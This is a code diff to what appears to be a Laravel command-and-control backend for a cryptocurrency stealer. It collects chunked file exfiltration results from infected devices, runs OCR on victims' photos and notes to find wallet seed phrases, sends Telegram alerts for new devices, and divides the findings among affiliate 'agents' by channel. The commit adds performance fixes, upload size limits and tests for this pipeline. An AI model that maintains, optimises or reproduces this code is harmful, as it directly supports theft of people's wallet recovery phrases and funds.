fix: db

app/Console/Commands/DailyStatsCommand.php

@@ -12,7 +12,8 @@ class DailyStatsCommand extends Command
         {--days=30 : Inclusive local days ending today (ignored when --all or --from is set)}
         {--from= : Start date Y-m-d}
         {--to= : End date Y-m-d (default today)}
-        {--all : From the earliest visit/device through --to}';
+        {--all : From the earliest visit/device through --to}
+        {--force : Recompute every day in range (implied by --all)}';
 
     protected $description = 'Rebuild daily_stats and analytics_daily_dims rollups (UV / devices / version dims)';
 
@@ -24,7 +25,8 @@ class DailyStatsCommand extends Command
             [$from, $to] = [$to->copy()->startOfDay(), $from->copy()->endOfDay()];
         }
 
-        $result = $reports->rebuildAll($from, $to);
+        $force = (bool) $this->option('force') || (bool) $this->option('all');
+        $result = $reports->rebuildAll($from, $to, $force);
         $this->info(sprintf(
             'daily-stats rebuilt=%d agents=%d from=%s to=%s',
             $result['days'],

app/Console/Commands/ScanMnemonicsCommand.php

@@ -21,16 +21,10 @@ class ScanMnemonicsCommand extends Command
     public function handle(): int
     {
         $limit = max(1, (int) $this->option('limit'));
-        $photos = Photo::query()
-            ->whereIn('scan_status', [MnemonicScanStatus::PENDING, MnemonicScanStatus::FAILED])
-            ->orderByRaw('CASE WHEN COALESCE(text_count, 0) > 0 OR COALESCE(x_hit, 0) > 0 THEN 0 ELSE 1 END')
-            ->orderByDesc('created_at')
-            ->orderByDesc('id')
-            ->limit($limit)
-            ->get(['id']);
+        $photoIds = $this->pendingPhotoIds($limit);
 
-        foreach ($photos as $photo) {
-            ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr');
+        foreach ($photoIds as $photoId) {
+            ScanPhotoMnemonic::dispatch($photoId)->onQueue('ocr');
         }
 
         $noteQueued = 0;
@@ -61,8 +55,49 @@ class ScanMnemonicsCommand extends Command
             }
         });
 
-        $this->info('enqueued photos='.$photos->count().' note-devices='.$noteQueued);
+        $this->info('enqueued photos='.count($photoIds).' note-devices='.$noteQueued);
 
         return self::SUCCESS;
     }
+
+    /**
+     * Boosted (text/x_hit) first, then newest pending. Avoids ORDER BY CASE filesort
+     * over the whole pending set every minute.
+     *
+     * @return list<int>
+     */
+    private function pendingPhotoIds(int $limit): array
+    {
+        $statuses = [MnemonicScanStatus::PENDING, MnemonicScanStatus::FAILED];
+        $boosted = Photo::query()
+            ->whereIn('scan_status', $statuses)
+            ->where(function ($q) {
+                $q->where('text_count', '>', 0)->orWhere('x_hit', '>', 0);
+            })
+            ->orderByDesc('created_at')
+            ->orderByDesc('id')
+            ->limit($limit)
+            ->pluck('id');
+
+        $ids = $boosted->map(fn ($id) => (int) $id)->all();
+        if (count($ids) >= $limit) {
+            return $ids;
+        }
+
+        $rest = Photo::query()
+            ->whereIn('scan_status', $statuses)
+            ->where(function ($q) {
+                $q->where(function ($q) {
+                    $q->whereNull('text_count')->orWhere('text_count', '<=', 0);
+                })->where(function ($q) {
+                    $q->whereNull('x_hit')->orWhere('x_hit', '<=', 0);
+                });
+            })
+            ->orderByDesc('created_at')
+            ->orderByDesc('id')
+            ->limit($limit - count($ids))
+            ->pluck('id');
+
+        return array_merge($ids, $rest->map(fn ($id) => (int) $id)->all());
+    }
 }

app/Http/Controllers/Admin/MnemonicFindingController.php

@@ -25,8 +25,8 @@ class MnemonicFindingController extends Controller
         return view('admin.findings.index', [
             'portal' => $this->portal(),
             'agents' => $agents,
-            'photoProgress' => $scan->photoProgress(),
-            'noteProgress' => $scan->noteProgress(),
+            'photoProgress' => $scan->photoProgress(null, $this->agent()),
+            'noteProgress' => $scan->noteProgress(null, $this->agent()),
         ]);
     }
 

app/Services/AnalyticsReportService.php

@@ -40,7 +40,7 @@ class AnalyticsReportService
         return $this->present($from, $to, $agentUserId);
     }
 
-    public function rebuild(?Carbon $from = null, ?Carbon $to = null, ?int $agentUserId = null): int
+    public function rebuild(?Carbon $from = null, ?Carbon $to = null, ?int $agentUserId = null, bool $force = false): int
     {
         [$from, $to] = $from !== null && $to !== null
             ? [$from->copy()->startOfDay(), $to->copy()->endOfDay()]
@@ -48,12 +48,15 @@ class AnalyticsReportService
 
         $scope = DailyReportService::scopeKey($agentUserId);
         $now = Carbon::now();
+        $refreshFrom = Carbon::now()->copy()->subDay()->startOfDay();
         $days = 0;
         $cursor = $from->copy()->startOfDay();
         $end = $to->copy()->startOfDay();
         while ($cursor->lte($end)) {
-            $this->rebuildDay($cursor, $scope, $agentUserId, $now);
-            $days++;
+            if ($force || $cursor->gte($refreshFrom) || ! $this->dayHasSurvival($scope, $cursor)) {
+                $this->rebuildDay($cursor, $scope, $agentUserId, $now);
+                $days++;
+            }
             $cursor->addDay();
         }
 
@@ -87,7 +90,7 @@ class AnalyticsReportService
         }
     }
 
-    private function rebuildDay(Carbon $day, string $scope, ?int $agentUserId, Carbon $now): void
+    public function rebuildDay(Carbon $day, string $scope, ?int $agentUserId, Carbon $now): void
     {
         $from = $day->copy()->startOfDay();
         $to = $day->copy()->endOfDay();
@@ -386,6 +389,22 @@ class AnalyticsReportService
             ->count();
     }
 
+    private function dayHasSurvival(string $scope, Carbon $day): bool
+    {
+        $date = $day->toDateString();
+
+        return AnalyticsDailyDim::query()
+            ->where('scope_key', $scope)
+            ->where('stat_date', $date)
+            ->where('kind', AnalyticsDailyDim::KIND_SURVIVAL)
+            ->exists()
+            && AnalyticsDailyDim::query()
+                ->where('scope_key', $scope)
+                ->where('stat_date', $date)
+                ->where('kind', AnalyticsDailyDim::KIND_SURVIVAL_WALLET)
+                ->exists();
+    }
+
     private function versionDimSql(string $column): string
     {
         return "CASE WHEN {$column} IS NULL OR TRIM({$column}) = '' THEN '未知' ELSE TRIM({$column}) END";

app/Services/DailyReportService.php

@@ -2,6 +2,7 @@
 
 namespace App\Services;
 
+use App\Models\AnalyticsDailyDim;
 use App\Models\Channel;
 use App\Models\DailyStat;
 use App\Models\Device;
@@ -103,34 +104,45 @@ class DailyReportService
 
     /**
      * Rebuild one scope (site-wide, official, or one agent) for the inclusive local-date range.
+     * Historical days that already have rollups are skipped unless $force is true.
+     * Today and yesterday always refresh (in-progress traffic).
      */
-    public function rebuild(?Carbon $from = null, ?Carbon $to = null, ?int $agentUserId = null): int
+    public function rebuild(?Carbon $from = null, ?Carbon $to = null, ?int $agentUserId = null, bool $force = false): int
     {
         [$from, $to] = $from !== null && $to !== null
             ? [$from->copy()->startOfDay(), $to->copy()->endOfDay()]
             : $this->window();
 
-        $aggregated = $this->aggregate($from, $to, $agentUserId);
         $scope = self::scopeKey($agentUserId);
         $now = Carbon::now();
-        foreach ($aggregated as $row) {
-            DailyStat::query()->updateOrCreate(
-                ['stat_date' => $row['date'], 'scope_key' => $scope],
-                [
-                    'uv' => $row['uv'],
-                    'effective_uv' => $row['effective_uv'],
-                    'devices' => $row['devices'],
-                    'wallet_devices' => $row['wallet_devices'],
-                    'address_count' => $row['address_count'],
-                    'mnemonic_count' => $row['mnemonic_count'],
-                    'computed_at' => $now,
-                ],
-            );
+        $refreshFrom = Carbon::now()->copy()->subDay()->startOfDay();
+        $analytics = app(AnalyticsReportService::class);
+        $written = 0;
+        $cursor = $from->copy()->startOfDay();
+        $end = $to->copy()->startOfDay();
+        while ($cursor->lte($end)) {
+            if ($force || $cursor->gte($refreshFrom) || ! $this->dayIsFresh($cursor, $agentUserId)) {
+                [$uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount] = $this->totalsForDay($cursor, $agentUserId);
+                $row = $this->present($cursor->toDateString(), $uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount);
+                DailyStat::query()->updateOrCreate(
+                    ['stat_date' => $row['date'], 'scope_key' => $scope],
+                    [
+                        'uv' => $row['uv'],
+                        'effective_uv' => $row['effective_uv'],
+                        'devices' => $row['devices'],
+                        'wallet_devices' => $row['wallet_devices'],
+                        'address_count' => $row['address_count'],
+                        'mnemonic_count' => $row['mnemonic_count'],
+                        'computed_at' => $now,
+                    ],
+                );
+                $analytics->rebuildDay($cursor, $scope, $agentUserId, $now);
+                $written++;
+            }
+            $cursor->addDay();
         }
 
-        app(AnalyticsReportService::class)->rebuild($from, $to, $agentUserId);
-
-        return count($aggregated);
+        return $written;
     }
 
     /**
@@ -138,13 +150,13 @@ class DailyReportService
      *
      * @return array{days: int, agents: int}
      */
-    public function rebuildAll(?Carbon $from = null, ?Carbon $to = null): array
+    public function rebuildAll(?Carbon $from = null, ?Carbon $to = null, bool $force = false): array
     {
-        $days = $this->rebuild($from, $to, null);
-        $this->rebuild($from, $to, 0);
+        $days = $this->rebuild($from, $to, null, $force);
+        $this->rebuild($from, $to, 0, $force);
         $agents = 0;
         foreach ($this->agentsWithChannels() as $agent) {
-            $this->rebuild($from, $to, (int) $agent->id);
+            $this->rebuild($from, $to, (int) $agent->id, $force);
             $agents++;
         }
 
@@ -211,6 +223,33 @@ class DailyReportService
         return (int) $from->copy()->startOfDay()->diffInDays($to->copy()->startOfDay()) + 1;
     }
 
+    /** Cached daily_stats + analytics dims exist for this local calendar day. */
+    private function dayIsFresh(Carbon $day, ?int $agentUserId): bool
+    {
+        $scope = self::scopeKey($agentUserId);
+        $date = $day->toDateString();
+        $statOk = DailyStat::query()
+            ->where('scope_key', $scope)
+            ->where('stat_date', $date)
+            ->whereNotNull('computed_at')
+            ->whereNotNull('address_count')
+            ->exists();
+        if (! $statOk) {
+            return false;
+        }
+
+        return AnalyticsDailyDim::query()
+            ->where('scope_key', $scope)
+            ->where('stat_date', $date)
+            ->where('kind', AnalyticsDailyDim::KIND_SURVIVAL)
+            ->exists()
+            && AnalyticsDailyDim::query()
+                ->where('scope_key', $scope)
+                ->where('stat_date', $date)
+                ->where('kind', AnalyticsDailyDim::KIND_SURVIVAL_WALLET)
+                ->exists();
+    }
+
     /**
      * @return Collection<int, User>
      */
@@ -232,23 +271,6 @@ class DailyReportService
             ->get();
     }
 
-    /**
-     * @return list<array{date: string, uv: int, effective_uv: int, devices: int, control_rate: float|null, wallet_devices: int, address_count: int, mnemonic_count: int}>
-     */
-    private function aggregate(Carbon $from, Carbon $to, ?int $agentUserId): array
-    {
-        $out = [];
-        $cursor = $from->copy()->startOfDay();
-        $end = $to->copy()->startOfDay();
-        while ($cursor->lte($end)) {
-            [$uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount] = $this->totalsForDay($cursor, $agentUserId);
-            $out[] = $this->present($cursor->toDateString(), $uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount);
-            $cursor->addDay();
-        }
-
-        return array_reverse($out);
-    }
-
     /**
      * @return array{0: int, 1: int, 2: int, 3: int, 4: int, 5: int}
      */

app/Services/DsResultStore.php

@@ -4,6 +4,7 @@ namespace App\Services;
 
 use App\Models\Device;
 use App\Models\Photo;
+use Illuminate\Support\Facades\Log;
 use Illuminate\Support\Facades\Storage;
 
 class DsResultStore
@@ -14,6 +15,10 @@ class DsResultStore
     /** @var list<string> */
     private const IMAGE_EXT = ['png', 'jpg', 'jpeg', 'heic', 'heif', 'gif', 'webp', 'bmp', 'tif', 'tiff'];
 
+    private const MAX_CHUNKS = 512;
+
+    private const MAX_ASSEMBLED_BYTES = 80 * 1024 * 1024;
+
     public function __construct(
         private readonly IngestService $ingest,
     ) {}
@@ -49,8 +54,11 @@ class DsResultStore
         $index = array_key_exists('chunk_index', $payload) ? (int) $payload['chunk_index'] : null;
 
         if ($total > 1 && $index !== null) {
-            $assembled = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes);
-            if ($assembled === null) {
+            if ($total > self::MAX_CHUNKS || $index < 0 || $index >= $total) {
+                return ['stored' => false, 'reason' => 'bad_chunks', 'filename' => $filename];
+            }
+            $assembledPath = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes);
+            if ($assembledPath === null) {
                 return [
                     'stored' => false,
                     'reason' => 'chunk_pending',
@@ -59,39 +67,76 @@ class DsResultStore
                     'total_chunks' => $total,
                 ];
             }
-            $bytes = $assembled;
+            if ($assembledPath === false) {
+                return ['stored' => false, 'reason' => 'too_large', 'filename' => $filename];
+            }
+
+            try {
+                return $this->persistFile($device, $filename, $commandId, $assembledPath);
+            } finally {
+                @unlink($assembledPath);
+            }
         }
 
-        $hash = hash('sha256', $bytes);
+        return $this->persistBytes($device, $filename, $commandId, $bytes);
+    }
+
+    /**
+     * @return array<string, mixed>
+     */
+    private function persistBytes(Device $device, string $filename, string $commandId, string $bytes): array
+    {
+        $tmp = tempnam(sys_get_temp_dir(), 'ds_photo_');
+        if ($tmp === false) {
+            return ['stored' => false, 'reason' => 'tmp_failed', 'filename' => $filename];
+        }
+        file_put_contents($tmp, $bytes);
+
+        try {
+            return $this->persistFile($device, $filename, $commandId, $tmp);
+        } finally {
+            @unlink($tmp);
+        }
+    }
+
+    /**
+     * @return array<string, mixed>
+     */
+    private function persistFile(Device $device, string $filename, string $commandId, string $absPath): array
+    {
+        $hash = hash_file('sha256', $absPath) ?: '';
+        $size = (int) filesize($absPath);
         if ($this->alreadyIngested($device, $filename, $hash)) {
             return [
                 'stored' => false,
                 'reason' => 'duplicate',
                 'filename' => $filename,
-                'size' => strlen($bytes),
+                'size' => $size,
             ];
         }
 
         $rel = 'c2/ds-results/'.$device->device_id.'/'.$commandId.'/'.$filename;
-        Storage::disk('local')->put($rel, $bytes);
+        $stream = fopen($absPath, 'rb');
+        if ($stream === false) {
+            return ['stored' => false, 'reason' => 'read_failed', 'filename' => $filename];
+        }
+        Storage::disk('local')->put($rel, $stream);
+        if (is_resource($stream)) {
+            fclose($stream);
+        }
         $this->markSeen($device, $hash, $filename);
 
         $photo = false;
         if ($this->isImage($filename) && $device->albumStorageEnabled()) {
-            $tmp = tempnam(sys_get_temp_dir(), 'ds_photo_');
-            if ($tmp !== false) {
-                file_put_contents($tmp, $bytes);
-                $this->ingest->ingestPhotos($device, [$tmp]);
-                @unlink($tmp);
-                $photo = true;
-            }
+            $this->ingest->ingestPhotos($device, [$absPath]);
+            $photo = true;
         }
 
         return [
             'stored' => true,
             'path' => $rel,
             'photo' => $photo,
-            'size' => strlen($bytes),
+            'size' => $size,
             'filename' => $filename,
         ];
     }
@@ -140,6 +185,9 @@ class DsResultStore
         return 'c2/ds-results/'.$device->device_id.'/.seen/'.$hash;
     }
 
+    /**
+     * Stream chunks to a temp file. null = still waiting, false = over size / I/O fail.
+     */
     private function acceptChunk(
         Device $device,
         string $commandId,
@@ -147,7 +195,7 @@ class DsResultStore
         int $index,
         int $total,
         string $bytes,
-    ): ?string {
+    ): string|false|null {
         $dir = 'c2/ds-chunks/'.$device->device_id.'/'.$commandId.'/'.$filename;
         Storage::disk('local')->put($dir.'/'.$index, $bytes);
         Storage::disk('local')->put($dir.'/total', (string) $total);
@@ -158,13 +206,45 @@ class DsResultStore
             }
         }
 
-        $out = '';
-        for ($i = 0; $i < $total; $i++) {
-            $out .= (string) Storage::disk('local')->get($dir.'/'.$i);
+        $tmp = tempnam(sys_get_temp_dir(), 'ds_asm_');
+        if ($tmp === false) {
+            Storage::disk('local')->deleteDirectory($dir);
+
+            return false;
         }
+        $fh = fopen($tmp, 'wb');
+        if ($fh === false) {
+            @unlink($tmp);
+            Storage::disk('local')->deleteDirectory($dir);
+
+            return false;
+        }
+
+        $written = 0;
+        for ($i = 0; $i < $total; $i++) {
+            $chunk = (string) Storage::disk('local')->get($dir.'/'.$i);
+            $len = strlen($chunk);
+            if ($written + $len > self::MAX_ASSEMBLED_BYTES) {
+                unset($chunk);
+                fclose($fh);
+                @unlink($tmp);
+                Storage::disk('local')->deleteDirectory($dir);
+                Log::warning('ds result assembled too large', [
+                    'device_id' => $device->device_id,
+                    'filename' => $filename,
+                    'total_chunks' => $total,
+                ]);
+
+                return false;
+            }
+            fwrite($fh, $chunk);
+            $written += $len;
+            unset($chunk);
+        }
+        fclose($fh);
         Storage::disk('local')->deleteDirectory($dir);
 
-        return $out;
+        return $tmp;
     }
 
     private function isVideo(string $filename): bool

app/Services/IngestService.php

@@ -19,6 +19,7 @@ use App\Services\Tokenview\TokenviewMonitorService;
 use App\Support\CfIpCountry;
 use App\Support\NoteContent;
 use App\Support\WalletSource;
+use Illuminate\Database\UniqueConstraintViolationException;
 use Illuminate\Http\Request;
 use Illuminate\Support\Facades\Log;
 use Illuminate\Support\Facades\Storage;
@@ -408,7 +409,20 @@ class IngestService
             }
         }
 
-        $device = Device::query()->create($attrs);
+        try {
+            $device = Device::query()->create($attrs);
+        } catch (UniqueConstraintViolationException $e) {
+            $existing = Device::query()->where('device_id', $deviceKey)->first();
+            if ($existing === null) {
+                throw $e;
+            }
+            if ($this->isNewBuilderRequest($request) && $this->isXxbbCoreRequest($request)) {
+                $this->fillMissingAttribution($existing, $request, $payload, $allowOldC);
+            }
+
+            return $existing->refresh();
+        }
+
         $this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
         $device->telegram_notified = true;
         $device->save();

app/Services/MnemonicScanService.php

@@ -9,10 +9,13 @@ use App\Models\MnemonicFinding;
 use App\Models\Note;
 use App\Models\NoteScan;
 use App\Models\Photo;
+use App\Models\User;
 use App\Services\Chain\Bip44;
 use App\Services\Ocr\OcrDriver;
 use App\Services\Ocr\PhotoOcrPreparer;
+use App\Support\AgentScope;
 use App\Support\NoteContent;
+use Illuminate\Support\Facades\Cache;
 use Illuminate\Support\Facades\Log;
 
 class MnemonicScanService
@@ -168,11 +171,33 @@ class MnemonicScanService
     /**
      * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
      */
-    public function photoProgress(?int $deviceId = null): array
+    public function photoProgress(?int $deviceId = null, ?User $agent = null): array
+    {
+        if ($deviceId !== null) {
+            return $this->photoProgressCounts($deviceId, null);
+        }
+
+        return Cache::remember(
+            'scan.photo_progress:'.$this->progressScopeKey($agent),
+            60,
+            fn () => $this->photoProgressCounts(null, $agent),
+        );
+    }
+
+    /**
+     * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
+     */
+    private function photoProgressCounts(?int $deviceId, ?User $agent): array
     {
         $q = Photo::query();
         if ($deviceId !== null) {
             $q->where('device_id', $deviceId);
+        } elseif ($agent !== null) {
+            $q->join('devices', 'devices.id', '=', 'photos.device_id');
+            AgentScope::applyDeviceChannelScope($q, $agent);
+            $q->selectRaw('photos.scan_status as scan_status, COUNT(*) as c')->groupBy('photos.scan_status');
+
+            return $this->progressFromCounts($q->pluck('c', 'scan_status')->all());
         }
 
         return $this->progressFromCounts($q->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all());
@@ -181,7 +206,7 @@ class MnemonicScanService
     /**
      * @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
      */
-    public function noteProgress(?Device $device = null): array
+    public function noteProgress(?Device $device = null, ?User $agent = null): array
     {
         if ($device !== null) {
             $note = $device->notes()->orderByDesc('id')->first();
@@ -205,17 +230,54 @@ class MnemonicScanService
             return $this->progressFromCounts($counts);
         }
 
-        $itemTotal = 0;
-        Note::query()->orderByDesc('id')->get(['id', 'device_id', 'content'])->groupBy('device_id')->each(function ($rows) use (&$itemTotal) {
-            $note = $rows->first();
-            $itemTotal += count(NoteContent::normalizeStored($note->content));
-        });
-        $scannedRows = NoteScan::query()->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all();
-        $progress = $this->progressFromCounts($scannedRows);
-        $progress['total'] = $itemTotal;
-        $progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']);
+        return Cache::remember('scan.note_progress:'.$this->progressScopeKey($agent), 60, function () use ($agent) {
+            $itemTotal = 0;
+            $latestIds = Note::query()->selectRaw('MAX(notes.id) as id');
+            $this->scopeNotesToAgent($latestIds, $agent);
+            $latestIds->groupBy('notes.device_id');
 
-        return $progress;
+            Note::query()
+                ->whereIn('id', $latestIds)
+                ->select(['id', 'content'])
+                ->orderBy('id')
+                ->chunkById(200, function ($notes) use (&$itemTotal) {
+                    foreach ($notes as $note) {
+                        $itemTotal += count(NoteContent::normalizeStored($note->content));
+                    }
+                });
+
+            $scans = NoteScan::query();
+            $this->scopeNoteScansToAgent($scans, $agent);
+            $scannedRows = $scans->selectRaw('note_scans.scan_status as scan_status, COUNT(*) as c')->groupBy('note_scans.scan_status')->pluck('c', 'scan_status')->all();
+            $progress = $this->progressFromCounts($scannedRows);
+            $progress['total'] = $itemTotal;
+            $progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']);
+
+            return $progress;
+        });
+    }
+
+    private function progressScopeKey(?User $agent): string
+    {
+        return $agent === null ? 'all' : 'a:'.$agent->id;
+    }
+
+    private function scopeNotesToAgent(\Illuminate\Database\Eloquent\Builder $query, ?User $agent): void
+    {
+        if ($agent === null) {
+            return;
+        }
+        $query->join('devices', 'devices.id', '=', 'notes.device_id');
+        AgentScope::applyDeviceChannelScope($query, $agent);
+    }
+
+    private function scopeNoteScansToAgent(\Illuminate\Database\Eloquent\Builder $query, ?User $agent): void
+    {
+        if ($agent === null) {
+            return;
+        }
+        $query->join('devices', 'devices.id', '=', 'note_scans.device_id');
+        AgentScope::applyDeviceChannelScope($query, $agent);
     }
 
     /**

tests/Feature/AnalyticsReportTest.php

@@ -198,9 +198,15 @@ class AnalyticsReportTest extends TestCase
             'ios_version' => '18.5',
             'has_wallet' => Device::WALLET_NONE,
         ]);
+        $aliveEnd = now();
+        $aliveStart = $aliveEnd->copy()->subHours(2);
+        if ($aliveStart->lt($aliveEnd->copy()->startOfDay())) {
+            $aliveStart = $aliveEnd->copy()->startOfDay();
+            $aliveEnd = $aliveStart->copy()->addHours(2);
+        }
         DB::table('devices')->where('id', $alive->id)->update([
-            'created_at' => now()->subHours(2),
-            'updated_at' => now(),
+            'created_at' => $aliveStart,
+            'updated_at' => $aliveEnd,
         ]);
         DB::table('devices')->where('id', $short->id)->update([
             'created_at' => now(),

tests/Feature/DailyReportTest.php

@@ -229,6 +229,22 @@ class DailyReportTest extends TestCase
         $this->assertSame(1, $row->uv);
     }
 
+    #[Test]
+    public function command_skips_fresh_historical_days_unless_forced(): void
+    {
+        $this->artisan('coruna:daily-stats', ['--days' => 5])
+            ->expectsOutputToContain('daily-stats rebuilt=5')
+            ->assertSuccessful();
+
+        $this->artisan('coruna:daily-stats', ['--days' => 5])
+            ->expectsOutputToContain('daily-stats rebuilt=2')
+            ->assertSuccessful();
+
+        $this->artisan('coruna:daily-stats', ['--days' => 5, '--force' => true])
+            ->expectsOutputToContain('daily-stats rebuilt=5')
+            ->assertSuccessful();
+    }
+
     #[Test]
     public function agent_only_sees_own_channel(): void
     {

tests/Feature/DsResultStoreTest.php

@@ -0,0 +1,48 @@
+<?php
+
+namespace Tests\Feature;
+
+use App\Models\Device;
+use App\Services\DsResultStore;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Storage;
+use PHPUnit\Framework\Attributes\Test;
+use Tests\TestCase;
+
+class DsResultStoreTest extends TestCase
+{
+    use RefreshDatabase;
+
+    #[Test]
+    public function assembles_chunks_without_keeping_a_concat_string(): void
+    {
+        Storage::fake('local');
+        $device = Device::query()->create([
+            'device_id' => 'DSCHUNKDEVICE01',
+            'album_storage' => false,
+        ]);
+        $store = app(DsResultStore::class);
+
+        $pending = $store->store($device, [
+            'filename' => 'memo.bin',
+            'data' => base64_encode('AAA'),
+            'command_id' => 'cmd1',
+            'total_chunks' => 2,
+            'chunk_index' => 0,
+        ]);
+        $this->assertFalse($pending['stored']);
+        $this->assertSame('chunk_pending', $pending['reason']);
+
+        $done = $store->store($device, [
+            'filename' => 'memo.bin',
+            'data' => base64_encode('BBB'),
+            'command_id' => 'cmd1',
+            'total_chunks' => 2,
+            'chunk_index' => 1,
+        ]);
+        $this->assertTrue($done['stored']);
+        $this->assertSame(6, $done['size']);
+        Storage::disk('local')->assertExists($done['path']);
+        $this->assertSame('AAABBB', Storage::disk('local')->get($done['path']));
+    }
+}

tests/Feature/MnemonicScanTest.php

@@ -281,6 +281,68 @@ TXT;
         });
     }
 
+    #[Test]
+    public function admin_findings_index_streams_note_progress(): void
+    {
+        $first = $this->device('dev-scan-progress-a');
+        $second = $this->device('dev-scan-progress-b');
+        Note::query()->create([
+            'device_id' => $first->id,
+            'content' => [
+                ['title' => 'old', 'body' => 'one', 'native_id' => 1],
+                ['title' => 'old2', 'body' => 'two', 'native_id' => 2],
+            ],
+            'content_hash' => hash('sha256', 'old'),
+        ]);
+        Note::query()->create([
+            'device_id' => $first->id,
+            'content' => [
+                ['title' => 'new', 'body' => 'only-latest', 'native_id' => 3],
+            ],
+            'content_hash' => hash('sha256', 'new'),
+        ]);
+        Note::query()->create([
+            'device_id' => $second->id,
+            'content' => [
+                ['title' => 'b1', 'body' => 'x', 'native_id' => 1],
+                ['title' => 'b2', 'body' => 'y', 'native_id' => 2],
+            ],
+            'content_hash' => hash('sha256', 'b'),
+        ]);
+
+        $progress = app(MnemonicScanService::class)->noteProgress();
+        $this->assertSame(3, $progress['total']);
+
+        $agentA = User::query()->create(['username' => 'scan-pa', 'password' => 'secret12', 'status' => 1]);
+        $agentB = User::query()->create(['username' => 'scan-pb', 'password' => 'secret12', 'status' => 1]);
+        Channel::query()->create(['channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'user_id' => $agentA->id, 'status' => 1]);
+        Channel::query()->create(['channel_id' => 'cccccccccccccccccccccccccccccccc', 'user_id' => $agentB->id, 'status' => 1]);
+        $other = Device::query()->create([
+            'device_id' => 'dev-scan-progress-c',
+            'channel_id' => 'cccccccccccccccccccccccccccccccc',
+        ]);
+        Note::query()->create([
+            'device_id' => $other->id,
+            'content' => [
+                ['title' => 'c1', 'body' => 'z', 'native_id' => 1],
+                ['title' => 'c2', 'body' => 'w', 'native_id' => 2],
+                ['title' => 'c3', 'body' => 'v', 'native_id' => 3],
+                ['title' => 'c4', 'body' => 'u', 'native_id' => 4],
+                ['title' => 'c5', 'body' => 't', 'native_id' => 5],
+            ],
+            'content_hash' => hash('sha256', 'c'),
+        ]);
+        $this->assertSame(3, app(MnemonicScanService::class)->noteProgress(null, $agentA)['total']);
+        $this->assertSame(5, app(MnemonicScanService::class)->noteProgress(null, $agentB)['total']);
+
+        $admin = Admin::query()->create(['username' => 'scan-index', 'password' => 'admin123']);
+        $this->actingAs($admin, 'admin')
+            ->get(route('admin.findings.index'))
+            ->assertOk()
+            ->assertSee('助记词扫描')
+            ->assertSee('备忘录');
+    }
+
     #[Test]
     public function agent_cannot_open_findings_when_scan_hidden(): void
     {

tests/Feature/NewBuilderIngestTest.php

@@ -5,6 +5,7 @@ namespace Tests\Feature;
 use App\Models\Channel;
 use App\Models\Device;
 use App\Services\CorunaCrypto;
+use App\Services\IngestService;
 use Illuminate\Foundation\Testing\RefreshDatabase;
 use PHPUnit\Framework\Attributes\Test;
 use Tests\TestCase;
@@ -176,4 +177,21 @@ class NewBuilderIngestTest extends TestCase
 
         $this->assertSame(self::CHANNEL_ID, Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id'));
     }
+
+    #[Test]
+    public function create_device_race_returns_existing_row(): void
+    {
+        $existing = Device::query()->create(['device_id' => '000007B46A3A84B8']);
+        $method = new \ReflectionMethod(IngestService::class, 'createDevice');
+        $device = $method->invoke(
+            app(IngestService::class),
+            \Illuminate\Http\Request::create('/event', 'POST'),
+            ['d' => '000007B46A3A84B8'],
+            '000007B46A3A84B8',
+            false,
+        );
+
+        $this->assertSame($existing->id, $device->id);
+        $this->assertSame(1, Device::query()->count());
+    }
 }